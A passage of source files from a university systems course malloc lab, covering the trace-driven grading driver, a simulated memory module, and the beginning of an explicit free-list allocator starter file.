119 | static int eval_libc_valid(trace_t *trace, int tracenum);
120 | static void eval_libc_speed(void *ptr);
121 |
122 | /* Routines for evaluating correctnes, space utilization, and speed
123 | of the student's malloc package in mm.c */
124 | static int eval_mm_valid(trace_t *trace, int tracenum, range_t **ranges);
125 | static double eval_mm_util(trace_t *trace, int tracenum, range_t **ranges);
126 | static void eval_mm_speed(void *ptr);
127 |
128 | /* Various helper routines */
129 | static void printresults(int n, stats_t *stats);
130 | static void usage(void);
131 | static void unix_error(char *msg);
132 | static void malloc_error(int tracenum, int opnum, char *msg);
133 | static void app_error(char *msg);
134 |
135 | /**************
136 | * Main routine
137 | **************/
138 | int main(int argc, char **argv)
139 | {
140 | int i;
141 | char c;
142 | char **tracefiles = NULL; /* null-terminated array of trace file names */
143 | int num_tracefiles = 0; /* the number of traces in that array */
144 | trace_t *trace = NULL; /* stores a single trace file in memory */
145 | range_t *ranges = NULL; /* keeps track of block extents for one trace */
146 | stats_t *libc_stats = NULL;/* libc stats for each trace */
147 | stats_t *mm_stats = NULL; /* mm (i.e. student) stats for each trace */
148 | speed_t speed_params; /* input parameters to the xx_speed routines */
149 |
150 | int run_libc = 0; /* If set, run libc malloc (set by -l) */
151 | int autograder = 0; /* If set, emit summary info for autograder (-g) */
152 |
153 | /* temporaries used to compute the performance index */
154 | double secs, ops, util, avg_mm_util, avg_mm_throughput, p1, p2, perfindex;
155 | int numcorrect;
156 |
157 | /*
158 | * Read and interpret the command line arguments
159 | */
160 | while ((c = getopt(argc, argv, "f:t:hvVgl")) != EOF) {
161 | switch (c) {
162 | case 'g': /* Generate summary info for the autograder */
163 | autograder = 1;
164 | break;
165 | case 'f': /* Use one specific trace file only (relative to curr dir) */
166 | num_tracefiles = 1;
167 | if ((tracefiles = realloc(tracefiles, 2*sizeof(char *))) == NULL)
168 | unix_error("ERROR: realloc failed in main");
169 | strcpy(tracedir, "./");
170 | tracefiles[0] = strdup(optarg);
171 | tracefiles[1] = NULL;
172 | break;
173 | case 't': /* Directory where the traces are located */
174 | if (num_tracefiles == 1) /* ignore if -f already encountered */
175 | break;
176 | strcpy(tracedir, optarg);
177 | if (tracedir[strlen(tracedir)-1] != '/')
178 | strcat(tracedir, "/"); /* path always ends with "/" */
179 | break;
180 | case 'l': /* Run libc malloc */
181 | run_libc = 1;
182 | break;
183 | case 'v': /* Print per-trace performance breakdown */
184 | verbose = 1;
185 | break;
186 | case 'V': /* Be more verbose than -v */
187 | verbose = 2;
188 | break;
189 | case 'h': /* Print this message */
190 | usage();
191 | exit(0);
192 | default:
193 | usage();
194 | exit(1);
195 | }
196 | }
197 |
198 | /*
199 | * If no -f command line arg, then use the entire set of tracefiles
200 | * defined in default_traces[]
201 | */
202 | if (tracefiles == NULL) {
203 | tracefiles = default_tracefiles;
204 | num_tracefiles = sizeof(default_tracefiles) / sizeof(char *) - 1;
205 | printf("Using default tracefiles in %s\n", tracedir);
206 | }
207 |
208 | /* Initialize the timing package */
209 | init_fsecs();
210 |
211 | /*
212 | * Optionally run and evaluate the libc malloc package
213 | */
214 | if (run_libc) {
215 | if (verbose > 1)
216 | printf("\nTesting libc malloc\n");
217 |
218 | /* Allocate libc stats array, with one stats_t struct per tracefile */
219 | libc_stats = (stats_t *)calloc(num_tracefiles, sizeof(stats_t));
220 | if (libc_stats == NULL)
221 | unix_error("libc_stats calloc in main failed");
222 |
223 | /* Evaluate the libc malloc package using the K-best scheme */
224 | for (i=0; i < num_tracefiles; i++) {
225 | trace = read_trace(tracedir, tracefiles[i]);
226 | libc_stats[i].ops = trace->num_ops;
227 | if (verbose > 1)
228 | printf("Checking libc malloc for correctness, ");
229 | libc_stats[i].valid = eval_libc_valid(trace, i);
230 | if (libc_stats[i].valid) {
231 | speed_params.trace = trace;
232 | if (verbose > 1)
233 | printf("and performance.\n");
234 | libc_stats[i].secs = fsecs(eval_libc_speed, &speed_params);
235 | }
236 | free_trace(trace);
237 | }
238 |
239 | /* Display the libc results in a compact table */
240 | if (verbose) {
241 | printf("\nResults for libc malloc:\n");
242 | printresults(num_tracefiles, libc_stats);
243 | }
244 | }
245 |
246 | /*
247 | * Always run and evaluate the student's mm package
248 | */
249 | if (verbose > 1)
250 | printf("\nTesting mm malloc\n");
251 |
252 | /* Allocate the mm stats array, with one stats_t struct per tracefile */
253 | mm_stats = (stats_t *)calloc(num_tracefiles, sizeof(stats_t));
254 | if (mm_stats == NULL)
255 | unix_error("mm_stats calloc in main failed");
256 |
257 | /* Initialize the simulated memory system in memlib.c */
258 | mem_init();
259 |
260 | /* Evaluate student's mm malloc package using the K-best scheme */
261 | for (i=0; i < num_tracefiles; i++) {
262 | trace = read_trace(tracedir, tracefiles[i]);
263 | mm_stats[i].ops = trace->num_ops;
264 | if (verbose > 1)
265 | printf("Checking mm_malloc for correctness, ");
266 | mm_stats[i].valid = eval_mm_valid(trace, i, &ranges);
267 | if (mm_stats[i].valid) {
268 | if (verbose > 1)
269 | printf("efficiency, ");
270 | mm_stats[i].util = eval_mm_util(trace, i, &ranges);
271 | speed_params.trace = trace;
272 | speed_params.ranges = ranges;
273 | if (verbose > 1)
274 | printf("and performance.\n");
275 | mm_stats[i].secs = fsecs(eval_mm_speed, &speed_params);
276 | }
277 | free_trace(trace);
278 | }
279 |
280 | /* Display the mm results in a compact table */
281 | if (verbose) {
282 | printf("\nResults for mm malloc:\n");
283 | printresults(num_tracefiles, mm_stats);
284 | printf("\n");
285 | }
286 |
287 | /*
288 | * Accumulate the aggregate statistics for the student's mm package
289 | */
290 | secs = 0;
291 | ops = 0;
292 | util = 0;
293 | numcorrect = 0;
294 | for (i=0; i < num_tracefiles; i++) {
295 | secs += mm_stats[i].secs;
296 | ops += mm_stats[i].ops;
297 | util += mm_stats[i].util;
298 | if (mm_stats[i].valid)
299 | numcorrect++;
300 | }
301 | avg_mm_util = util/num_tracefiles;
302 |
303 | /*
304 | * Compute and print the performance index
305 | */
306 | if (errors == 0) {
307 | avg_mm_throughput = ops/secs;
308 |
309 | p1 = UTIL_WEIGHT * avg_mm_util;
310 | if (avg_mm_throughput > AVG_LIBC_THRUPUT) {
311 | p2 = (double)(1.0 - UTIL_WEIGHT);
312 | }
313 | else {
314 | p2 = ((double) (1.0 - UTIL_WEIGHT)) *
315 | (avg_mm_throughput/AVG_LIBC_THRUPUT);
316 | }
317 |
318 | perfindex = (p1 + p2)*100.0;
319 | printf("Perf index = %.0f (util) + %.0f (thru) = %.0f/100\n",
320 | p1*100,
321 | p2*100,
322 | perfindex);
323 |
324 | }
325 | else { /* There were errors */
326 | perfindex = 0.0;
327 | printf("Terminated with %d errors\n", errors);
328 | }
329 |
330 | if (autograder) {
331 | printf("correct:%d\n", numcorrect);
332 | printf("perfidx:%.0f\n", perfindex);
333 | }
334 |
335 | exit(0);
336 | }
337 |
338 |
339 | /*****************************************************************
340 | * The following routines manipulate the range list, which keeps
341 | * track of the extent of every allocated block payload. We use the
342 | * range list to detect any overlapping allocated blocks.
343 | ****************************************************************/
344 |
345 | /*
346 | * add_range - As directed by request opnum in trace tracenum,
347 | * we've just called the student's mm_malloc to allocate a block of
348 | * size bytes at addr lo. After checking the block for correctness,
349 | * we create a range struct for this block and add it to the range list.
350 | */
351 | static int add_range(range_t **ranges, char *lo, int size,
352 | int tracenum, int opnum)
353 | {
354 | char *hi = lo + size - 1;
355 | range_t *p;
356 | char msg[MAXLINE];
357 |
358 | assert(size > 0);
359 |
360 | /* Payload addresses must be ALIGNMENT-byte aligned */
361 | if (!IS_ALIGNED(lo)) {
362 | sprintf(msg, "Payload address (%p) not aligned to %d bytes",
363 | lo, ALIGNMENT);
364 | malloc_error(tracenum, opnum, msg);
365 | return 0;
366 | }
367 |
368 | /* The payload must lie within the extent of the heap */
369 | if ((lo < (char *)mem_heap_lo()) || (lo > (char *)mem_heap_hi()) ||
370 | (hi < (char *)mem_heap_lo()) || (hi > (char *)mem_heap_hi())) {
371 | sprintf(msg, "Payload (%p:%p) lies outside heap (%p:%p)",
372 | lo, hi, mem_heap_lo(), mem_heap_hi());
373 | malloc_error(tracenum, opnum, msg);
374 | return 0;
375 | }
376 |
377 | /* The payload must not overlap any other payloads */
378 | for (p = *ranges; p != NULL; p = p->next) {
379 | if ((lo >= p->lo && lo <= p-> hi) ||
380 | (hi >= p->lo && hi <= p->hi)) {
381 | sprintf(msg, "Payload (%p:%p) overlaps another payload (%p:%p)\n",
382 | lo, hi, p->lo, p->hi);
383 | malloc_error(tracenum, opnum, msg);
384 | return 0;
385 | }
386 | }
387 |
388 | /*
389 | * Everything looks OK, so remember the extent of this block
390 | * by creating a range struct and adding it the range list.
391 | */
392 | if ((p = (range_t *)malloc(sizeof(range_t))) == NULL)
393 | unix_error("malloc error in add_range");
394 | p->next = *ranges;
395 | p->lo = lo;
396 | p->hi = hi;
397 | *ranges = p;
398 | return 1;
399 | }
400 |
401 | /*
402 | * remove_range - Free the range record of block whose payload starts at lo
403 | */
404 | static void remove_range(range_t **ranges, char *lo)
405 | {
406 | range_t *p;
407 | range_t **prevpp = ranges;
408 | //int size;
409 |
410 | for (p = *ranges; p != NULL; p = p->next) {
411 | if (p->lo == lo) {
412 | *prevpp = p->next;
413 | //size = p->hi - p->lo + 1;
414 | free(p);
415 | break;
416 | }
417 | prevpp = &(p->next);
418 | }
419 | }
420 |
421 | /*
422 | * clear_ranges - free all of the range records for a trace
423 | */
424 | static void clear_ranges(range_t **ranges)
425 | {
426 | range_t *p;
427 | range_t *pnext;
428 |
429 | for (p = *ranges; p != NULL; p = pnext) {
430 | pnext = p->next;
431 | free(p);
432 | }
433 | *ranges = NULL;
434 | }
435 |
436 |
437 | /**********************************************
438 | * The following routines manipulate tracefiles
439 | *********************************************/
440 |
441 | /*
442 | * read_trace - read a trace file and store it in memory
443 | */
444 | static trace_t *read_trace(char *tracedir, char *filename)
445 | {
446 | FILE *tracefile;
447 | trace_t *trace;
448 | char type[MAXLINE];
449 | char path[MAXLINE];
450 | unsigned index, size;
451 | unsigned max_index = 0;
452 | unsigned op_index;
453 |
454 | if (verbose > 1)
455 | printf("Reading tracefile: %s\n", filename);
456 |
457 | /* Allocate the trace record */
458 | if ((trace = (trace_t *) malloc(sizeof(trace_t))) == NULL)
459 | unix_error("malloc 1 failed in read_trance");
460 |
461 | /* Read the trace file header */
462 | strcpy(path, tracedir);
463 | strcat(path, filename);
464 | if ((tracefile = fopen(path, "r")) == NULL) {
465 | sprintf(msg, "Could not open %s in read_trace", path);
466 | unix_error(msg);
467 | }
468 | fscanf(tracefile, "%d", &(trace->sugg_heapsize)); /* not used */
469 | fscanf(tracefile, "%d", &(trace->num_ids));
470 | fscanf(tracefile, "%d", &(trace->num_ops));
471 | fscanf(tracefile, "%d", &(trace->weight)); /* not used */
472 |
473 | /* We'll store each request line in the trace in this array */
474 | if ((trace->ops =
475 | (traceop_t *)malloc(trace->num_ops * sizeof(traceop_t))) == NULL)
476 | unix_error("malloc 2 failed in read_trace");
477 |
478 | /* We'll keep an array of pointers to the allocated blocks here... */
479 | if ((trace->blocks =
480 | (char **)malloc(trace->num_ids * sizeof(char *))) == NULL)
481 | unix_error("malloc 3 failed in read_trace");
482 |
483 | /* ... along with the corresponding byte sizes of each block */
484 | if ((trace->block_sizes =
485 | (size_t *)malloc(trace->num_ids * sizeof(size_t))) == NULL)
486 | unix_error("malloc 4 failed in read_trace");
487 |
488 | /* read every request line in the trace file */
489 | index = 0;
490 | op_index = 0;
491 | while (fscanf(tracefile, "%s", type) != EOF) {
492 | switch(type[0]) {
493 | case 'a':
494 | fscanf(tracefile, "%u %u", &index, &size);
495 | trace->ops[op_index].type = ALLOC;
496 | trace->ops[op_index].index = index;
497 | trace->ops[op_index].size = size;
498 | max_index = (index > max_index) ? index : max_index;
499 | break;
500 | case 'f':
501 | fscanf(tracefile, "%ud", &index);
502 | trace->ops[op_index].type = FREE;
503 | trace->ops[op_index].index = index;
504 | break;
505 | default:
506 | printf("Bogus type character (%c) in tracefile %s\n",
507 | type[0], path);
508 | exit(1);
509 | }
510 | op_index++;
511 |
512 | }
513 | fclose(tracefile);
514 | assert(max_index == trace->num_ids - 1);
515 | assert(trace->num_ops == op_index);
516 |
517 | return trace;
518 | }
519 |
520 | /*
521 | * free_trace - Free the trace record and the three arrays it points
522 | * to, all of which were allocated in read_trace().
523 | */
524 | void free_trace(trace_t *trace)
525 | {
526 | free(trace->ops); /* free the three arrays... */
527 | free(trace->blocks);
528 | free(trace->block_sizes);
529 | free(trace); /* and the trace record itself... */
530 | }
531 |
532 | /**********************************************************************
533 | * The following functions evaluate the correctness, space utilization,
534 | * and throughput of the libc and mm malloc packages.
535 | **********************************************************************/
536 |
537 | /*
538 | * eval_mm_valid - Check the mm malloc package for correctness
539 | */
540 | static int eval_mm_valid(trace_t *trace, int tracenum, range_t **ranges)
541 | {
542 | int i;
543 | int index;
544 | int size;
545 | char *p;
546 |
547 | /* Reset the heap and free any records in the range list */
548 | mem_reset_brk();
549 | clear_ranges(ranges);
550 |
551 | /* Call the mm package's init function */
552 | if (mm_init() < 0) {
553 | malloc_error(tracenum, 0, "mm_init failed.");
554 | return 0;
555 | }
556 |
557 | /* Interpret each operation in the trace in order */
558 | for (i = 0; i < trace->num_ops; i++) {
559 | index = trace->ops[i].index;
560 | size = trace->ops[i].size;
561 |
562 | switch (trace->ops[i].type) {
563 |
564 | case ALLOC: /* mm_malloc */
565 |
566 | /* Call the student's malloc */
567 | if ((p = mm_malloc(size)) == NULL) {
568 | malloc_error(tracenum, i, "mm_malloc failed.");
569 | return 0;
570 | }
571 |
572 | /*
573 | * Test the range of the new block for correctness and add it
574 | * to the range list if OK. The block must be be aligned properly,
575 | * and must not overlap any currently allocated block.
576 | */
577 | if (add_range(ranges, p, size, tracenum, i) == 0)
578 | return 0;
579 |
580 | /* ADDED: cgw
581 | * fill range with low byte of index. This will be used later
582 | * if we realloc the block and wish to make sure that the old
583 | * data was copied to the new block
584 | */
585 | memset(p, index & 0xFF, size);
586 |
587 | /* Remember region */
588 | trace->blocks[index] = p;
589 | trace->block_sizes[index] = size;
590 | break;
591 |
592 | case FREE: /* mm_free */
593 |
594 | /* Remove region from list and call student's free function */
595 | p = trace->blocks[index];
596 | remove_range(ranges, p);
597 | mm_free(p);
598 | break;
599 |
600 | default:
601 | app_error("Nonexistent request type in eval_mm_valid");
602 | }
603 |
604 | }
605 |
606 | /* As far as we know, this is a valid malloc package */
607 | return 1;
608 | }
609 |
610 | /*
611 | * eval_mm_util - Evaluate the space utilization of the student's package
612 | * The idea is to remember the high water mark "hwm" of the heap for
613 | * an optimal allocator, i.e., no gaps and no internal fragmentation.
614 | * Utilization is the ratio hwm/heapsize, where heapsize is the
615 | * size of the heap in bytes after running the student's malloc
616 | * package on the trace. Note that our implementation of mem_sbrk()
617 | * doesn't allow the students to decrement the brk pointer, so brk
618 | * is always the high water mark of the heap.
619 | *
620 | */
621 | static double eval_mm_util(trace_t *trace, int tracenum, range_t **ranges)
622 | {
623 | int i;
624 | int index;
625 | int size;
626 | int max_total_size = 0;
627 | int total_size = 0;
628 | char *p;
629 |
630 | /* initialize the heap and the mm malloc package */
631 | mem_reset_brk();
632 | if (mm_init() < 0)
633 | app_error("mm_init failed in eval_mm_util");
634 |
635 | for (i = 0; i < trace->num_ops; i++) {
636 | switch (trace->ops[i].type) {
637 |
638 | case ALLOC: /* mm_alloc */
639 | index = trace->ops[i].index;
640 | size = trace->ops[i].size;
641 |
642 | if ((p = mm_malloc(size)) == NULL)
643 | app_error("mm_malloc failed in eval_mm_util");
644 |
645 | /* Remember region and size */
646 | trace->blocks[index] = p;
647 | trace->block_sizes[index] = size;
648 |
649 | /* Keep track of current total size
650 | * of all allocated blocks */
651 | total_size += size;
652 |
653 | /* Update statistics */
654 | max_total_size = (total_size > max_total_size) ?
655 | total_size : max_total_size;
656 | break;
657 |
658 | case FREE: /* mm_free */
659 | index = trace->ops[i].index;
660 | size = trace->block_sizes[index];
661 | p = trace->blocks[index];
662 |
663 | mm_free(p);
664 |
665 | /* Keep track of current total size
666 | * of all allocated blocks */
667 | total_size -= size;
668 |
669 | break;
670 |
671 | default:
672 | app_error("Nonexistent request type in eval_mm_util");
673 |
674 | }
675 | }
676 |
677 | return ((double)max_total_size / (double)mem_heapsize());
678 | }
679 |
680 |
681 | /*
682 | * eval_mm_speed - This is the function that is used by fcyc()
683 | * to measure the running time of the mm malloc package.
684 | */
685 | static void eval_mm_speed(void *ptr)
686 | {
687 | int i, index, size;
688 | char *p, *block;
689 | trace_t *trace = ((speed_t *)ptr)->trace;
690 |
691 | /* Reset the heap and initialize the mm package */
692 | mem_reset_brk();
693 | if (mm_init() < 0)
694 | app_error("mm_init failed in eval_mm_speed");
695 |
696 | /* Interpret each trace request */
697 | for (i = 0; i < trace->num_ops; i++)
698 | switch (trace->ops[i].type) {
699 |
700 | case ALLOC: /* mm_malloc */
701 | index = trace->ops[i].index;
702 | size = trace->ops[i].size;
703 | if ((p = mm_malloc(size)) == NULL)
704 | app_error("mm_malloc error in eval_mm_speed");
705 | trace->blocks[index] = p;
706 | break;
707 |
708 | case FREE: /* mm_free */
709 | index = trace->ops[i].index;
710 | block = trace->blocks[index];
711 | mm_free(block);
712 | break;
713 |
714 | default:
715 | app_error("Nonexistent request type in eval_mm_valid");
716 | }
717 | }
718 |
719 | /*
720 | * eval_libc_valid - We run this function to make sure that the
721 | * libc malloc can run to completion on the set of traces.
722 | * We'll be conservative and terminate if any libc malloc call fails.
723 | *
724 | */
725 | static int eval_libc_valid(trace_t *trace, int tracenum)
726 | {
727 | int i;
728 | char *p;
729 |
730 | for (i = 0; i < trace->num_ops; i++) {
731 | switch (trace->ops[i].type) {
732 |
733 | case ALLOC: /* malloc */
734 | if ((p = malloc(trace->ops[i].size)) == NULL) {
735 | malloc_error(tracenum, i, "libc malloc failed");
736 | unix_error("System message");
737 | }
738 | trace->blocks[trace->ops[i].index] = p;
739 | break;
740 |
741 | case FREE: /* free */
742 | free(trace->blocks[trace->ops[i].index]);
743 | break;
744 | default:
745 | app_error("invalid operation type in eval_libc_valid");
746 | }
747 | }
748 |
749 | return 1;
750 | }
751 |
752 | /*
753 | * eval_libc_speed - This is the function that is used by fcyc() to
754 | * measure the running time of the libc malloc package on the set
755 | * of traces.
756 | */
757 | static void eval_libc_speed(void *ptr)
758 | {
759 | int i;
760 | int index, size;
761 | char *p, *block;
762 | trace_t *trace = ((speed_t *)ptr)->trace;
763 |
764 | for (i = 0; i < trace->num_ops; i++) {
765 | switch (trace->ops[i].type) {
766 | case ALLOC: /* malloc */
767 | index = trace->ops[i].index;
768 | size = trace->ops[i].size;
769 | if ((p = malloc(size)) == NULL)
770 | unix_error("malloc failed in eval_libc_speed");
771 | trace->blocks[index] = p;
772 | break;
773 |
774 | case FREE: /* free */
775 | index = trace->ops[i].index;
776 | block = trace->blocks[index];
777 | free(block);
778 | break;
779 | }
780 | }
781 | }
782 |
783 | /*************************************
784 | * Some miscellaneous helper routines
785 | ************************************/
786 |
787 |
788 | /*
789 | * printresults - prints a performance summary for some malloc package
790 | */
791 | static void printresults(int n, stats_t *stats)
792 | {
793 | int i;
794 | double secs = 0;
795 | double ops = 0;
796 | double util = 0;
797 |
798 | /* Print the individual results for each trace */
799 | printf("%5s%7s %5s%8s%10s%8s\n",
800 | "trace", " valid", "util", "ops", "secs", "Kops");
801 | for (i=0; i < n; i++) {
802 | if (stats[i].valid) {
803 | printf("%2d%10s%5.0f%%%8.0f%10.6f%8.0f\n",
804 | i,
805 | "yes",
806 | stats[i].util*100.0,
807 | stats[i].ops,
808 | stats[i].secs,
809 | (stats[i].ops/1e3)/stats[i].secs);
810 | secs += stats[i].secs;
811 | ops += stats[i].ops;
812 | util += stats[i].util;
813 | }
814 | else {
815 | printf("%2d%10s%6s%8s%10s%8s\n",
816 | i,
817 | "no",
818 | "-",
819 | "-",
820 | "-",
821 | "-");
822 | }
823 | }
824 |
825 | /* Print the aggregate results for the set of traces */
826 | if (errors == 0) {
827 | printf("%12s%5.0f%%%8.0f%10.6f%8.0f\n",
828 | "Total ",
829 | (util/n)*100.0,
830 | ops,
831 | secs,
832 | (ops/1e3)/secs);
833 | }
834 | else {
835 | printf("%12s%6s%8s%10s%8s\n",
836 | "Total ",
837 | "-",
838 | "-",
839 | "-",
840 | "-");
841 | }
842 |
843 | }
844 |
845 | /*
846 | * app_error - Report an arbitrary application error
847 | */
848 | void app_error(char *msg)
849 | {
850 | printf("%s\n", msg);
851 | exit(1);
852 | }
853 |
854 | /*
855 | * unix_error - Report a Unix-style error
856 | */
857 | void unix_error(char *msg)
858 | {
859 | printf("%s: %s\n", msg, strerror(errno));
860 | exit(1);
861 | }
862 |
863 | /*
864 | * malloc_error - Report an error returned by the mm_malloc package
865 | */
866 | void malloc_error(int tracenum, int opnum, char *msg)
867 | {
868 | errors++;
869 | printf("ERROR [trace %d, line %d]: %s\n", tracenum, LINENUM(opnum), msg);
870 | }
871 |
872 | /*
873 | * usage - Explain the command line arguments
874 | */
875 | static void usage(void)
876 | {
877 | fprintf(stderr, "Usage: mdriver [-hvVal] [-f ] [-t ]\n");
878 | fprintf(stderr, "Options\n");
879 | fprintf(stderr, "\t-f Use as the trace file.\n");
880 | fprintf(stderr, "\t-g Generate summary info for autograder.\n");
881 | fprintf(stderr, "\t-h Print this message.\n");
882 | fprintf(stderr, "\t-l Run libc malloc as well.\n");
883 | fprintf(stderr, "\t-t Directory to find default traces.\n");
884 | fprintf(stderr, "\t-v Print per-trace performance breakdowns.\n");
885 | fprintf(stderr, "\t-V Print additional debug info.\n");
886 | }
887 |
--------------------------------------------------------------------------------
/lab5/memlib.c:
--------------------------------------------------------------------------------
1 | /*
2 | * memlib.c - a module that simulates the memory system. Needed because it
3 | * allows us to interleave calls from the student's malloc package
4 | * with the system's malloc package in libc.
5 | */
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | #include "memlib.h"
15 | #include "config.h"
16 |
17 | /* private variables */
18 | static char *mem_start_brk; /* points to first byte of heap */
19 | static char *mem_brk; /* points to last byte of heap */
20 | static char *mem_max_addr; /* largest legal heap address */
21 |
22 | /*
23 | * mem_init - initialize the memory system model
24 | */
25 | void mem_init(void)
26 | {
27 | /* allocate the storage we will use to model the available VM */
28 | if ((mem_start_brk = (char *)malloc(MAX_HEAP)) == NULL) {
29 | fprintf(stderr, "mem_init_vm: malloc error\n");
30 | exit(1);
31 | }
32 |
33 | mem_max_addr = mem_start_brk + MAX_HEAP; /* max legal heap address */
34 | mem_brk = mem_start_brk; /* heap is empty initially */
35 | }
36 |
37 | /*
38 | * mem_deinit - free the storage used by the memory system model
39 | */
40 | void mem_deinit(void)
41 | {
42 | free(mem_start_brk);
43 | }
44 |
45 | /*
46 | * mem_reset_brk - reset the simulated brk pointer to make an empty heap
47 | */
48 | void mem_reset_brk()
49 | {
50 | mem_brk = mem_start_brk;
51 | }
52 |
53 | /*
54 | * mem_sbrk - simple model of the sbrk function. Extends the heap
55 | * by incr bytes and returns the start address of the new area. In
56 | * this model, the heap cannot be shrunk.
57 | */
58 | void *mem_sbrk(size_t incr)
59 | {
60 | char *old_brk = mem_brk;
61 |
62 | if ( (incr < 0) || ((mem_brk + incr) > mem_max_addr)) {
63 | errno = ENOMEM;
64 | fprintf(stderr, "ERROR: mem_sbrk failed. Ran out of memory...\n");
65 | return (void *)-1;
66 | }
67 | mem_brk += incr;
68 | return (void *)old_brk;
69 | }
70 |
71 | /*
72 | * mem_heap_lo - return address of the first heap byte
73 | */
74 | void *mem_heap_lo()
75 | {
76 | return (void *)mem_start_brk;
77 | }
78 |
79 | /*
80 | * mem_heap_hi - return address of last heap byte
81 | */
82 | void *mem_heap_hi()
83 | {
84 | return (void *)(mem_brk - 1);
85 | }
86 |
87 | /*
88 | * mem_heapsize() - returns the heap size in bytes
89 | */
90 | size_t mem_heapsize()
91 | {
92 | return (size_t)(mem_brk - mem_start_brk);
93 | }
94 |
95 | /*
96 | * mem_pagesize() - returns the page size of the system
97 | */
98 | size_t mem_pagesize()
99 | {
100 | return (size_t)getpagesize();
101 | }
102 |
--------------------------------------------------------------------------------
/lab5/memlib.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | void mem_init(void);
4 | void mem_deinit(void);
5 | void *mem_sbrk(size_t incr);
6 | void mem_reset_brk(void);
7 | void *mem_heap_lo(void);
8 | void *mem_heap_hi(void);
9 | size_t mem_heapsize(void);
10 | size_t mem_pagesize(void);
11 |
12 |
--------------------------------------------------------------------------------
/lab5/mm.c:
--------------------------------------------------------------------------------
1 | /*-------------------------------------------------------------------
2 | * UW CSE 351 Summer 2013 Lab 5 Starter code:
3 | * single doubly-linked free block list with LIFO policy
4 | * with support for coalescing adjacent free blocks
5 | *
6 | * Terminology:
7 | * o We will implement an explicit free list allocator
8 | * o We use "next" and "previous" to refer to blocks as ordered in
9 | * the free list.
10 | * o We use "following" and "preceding" to refer to adjacent blocks
11 | * in memory.
12 | *-------------------------------------------------------------------- */
13 |
14 | #include
15 | #include
16 | #include
17 | #include
18 |
19 | #include "memlib.h"
20 | #include "mm.h"
21 |
22 | /* Macros for unscaled pointer arithmetic to keep other code cleaner.
23 | Casting to a char* has the effect that pointer arithmetic happens at
24 | the byte granularity (i.e. POINTER_ADD(0x1, 1) would be 0x2). (By
25 | default, incrementing a pointer in C has the effect of incrementing
26 | it by the size of the type to which it points (e.g. BlockInfo).)
27 | We cast the result to void* to force you to cast back to the
28 | appropriate type and ensure you don't accidentally use the resulting
29 | pointer as a char* implicitly. You are welcome to implement your
30 | own pointer arithmetic instead of using these macros.
31 | */
32 | #define UNSCALED_POINTER_ADD(p,x) ((void*)((char*)(p) + (x)))
33 | #define UNSCALED_POINTER_SUB(p,x) ((void*)((char*)(p) - (x)))
34 |
35 |
36 | /******** FREE LIST IMPLEMENTATION ***********************************/
37 |
38 |
39 | /* A BlockInfo contains information about a block, including the size
40 | and usage tags, as well as pointers to the next and previous blocks
41 | in the free list. This is exactly the "explicit free list" structure
42 | illustrated in the lecture slides.
43 |
44 | Note that the next and prev pointers and the boundary tag are only
45 | needed when the block is free. To achieve better utilization, mm_malloc
46 | should use the space for next and prev as part of the space it returns.
47 |
48 | +--------------+
49 | | sizeAndTags | <- BlockInfo pointers in free list point here
50 | | (header) |
51 | +--------------+
52 | | next | <- Pointers returned by mm_malloc point here
53 | +--------------+
54 | | prev |
55 | +--------------+
56 | | space and |
57 | | padding |
58 | | ... |
59 | | ... |
60 | +--------------+
61 | | boundary tag |
62 | | (footer) |
63 | +--------------+
64 | */
65 | struct BlockInfo {
66 | // Size of the block (in the high bits) and tags for whether the
67 | // block and its predecessor in memory are in use. See the SIZE()
68 | // and TAG macros, below, for more details.
69 | size_t sizeAndTags;
70 | // Pointer to the next block in the free list.
71 | struct BlockInfo* next;
72 | // Pointer to the previous block in the free list.
73 | struct BlockInfo* prev;
74 | };
75 | typedef struct BlockInfo BlockInfo;
76 |
77 |
78 | /* Pointer to the first BlockInfo in the free list, the list's head.
79 |
80 | A pointer to the head of the free list in this implementation is
81 | always stored in the first word in the heap. mem_heap_lo() returns
82 | a pointer to the first word in the heap, so we cast the result of
83 | mem_heap_lo() to a BlockInfo** (a pointer to a pointer to
84 | BlockInfo) and dereference this to get a pointer to the first
85 | BlockInfo in the free list. */
86 | #define FREE_LIST_HEAD *((BlockInfo **)mem_heap_lo())
87 |
88 | /* Size of a word on this architecture. */
89 | #define WORD_SIZE sizeof(void*)
90 |
91 | /* Minimum block size (to account for size header, next ptr, prev ptr,
92 | and boundary tag) */
93 | #define MIN_BLOCK_SIZE (sizeof(BlockInfo) + WORD_SIZE)
94 |
95 | /* Alignment of blocks returned by mm_malloc. */
96 | #define ALIGNMENT 8
97 |
98 | /* SIZE(blockInfo->sizeAndTags) extracts the size of a 'sizeAndTags' field.
99 | Also, calling SIZE(size) selects just the higher bits of 'size' to ensure
100 | that 'size' is properly aligned. We align 'size' so we can use the low
101 | bits of the sizeAndTags field to tag a block as free/used, etc, like this:
102 |
103 | sizeAndTags:
104 | +-------------------------------------------+
105 | | 63 | 62 | 61 | 60 | . . . . | 2 | 1 | 0 |
106 | +-------------------------------------------+
107 | ^ ^
108 | high bit low bit
109 |
110 | Since ALIGNMENT == 8, we reserve the low 3 bits of sizeAndTags for tag
111 | bits, and we use bits 3-63 to store the size.
112 |
113 | Bit 0 (2^0 == 1): TAG_USED
114 | Bit 1 (2^1 == 2): TAG_PRECEDING_USED
115 | */
116 | #define SIZE(x) ((x) & ~(ALIGNMENT - 1))
117 |
118 | /* TAG_USED is the bit mask used in sizeAndTags to mark a block as used. */
119 | #define TAG_USED 1
120 |
121 | /* TAG_PRECEDING_USED is the bit mask used in sizeAndTags to indicate
122 | that the block preceding it in memory is used. (used in turn for
123 | coalescing). If the previous block is not used, we can learn the size
124 | of the previous block from its boundary tag */
125 | #define TAG_PRECEDING_USED 2
126 |
127 |
128 | /* Find a free block of the requested size in the free list. Returns
129 | NULL if no free block is large enough. */
130 | static void * searchFreeList(size_t reqSize) {
131 | BlockInfo* freeBlock;
132 |
133 | freeBlock = FREE_LIST_HEAD;
134 | while (freeBlock != NULL){
135 | if (SIZE(freeBlock->sizeAndTags) >= reqSize) {
136 | return freeBlock;
137 | } else {
138 | freeBlock = freeBlock->next;
139 | }
140 | }
141 | return NULL;
142 | }
143 |
144 | /* Insert freeBlock at the head of the list. (LIFO) */
145 | static void insertFreeBlock(BlockInfo* freeBlock) {
146 | BlockInfo* oldHead = FREE_LIST_HEAD;
147 | freeBlock->next = oldHead;
148 | if (oldHead != NULL) {
149 | oldHead->prev = freeBlock;
150 | }
151 | // freeBlock->prev = NULL;
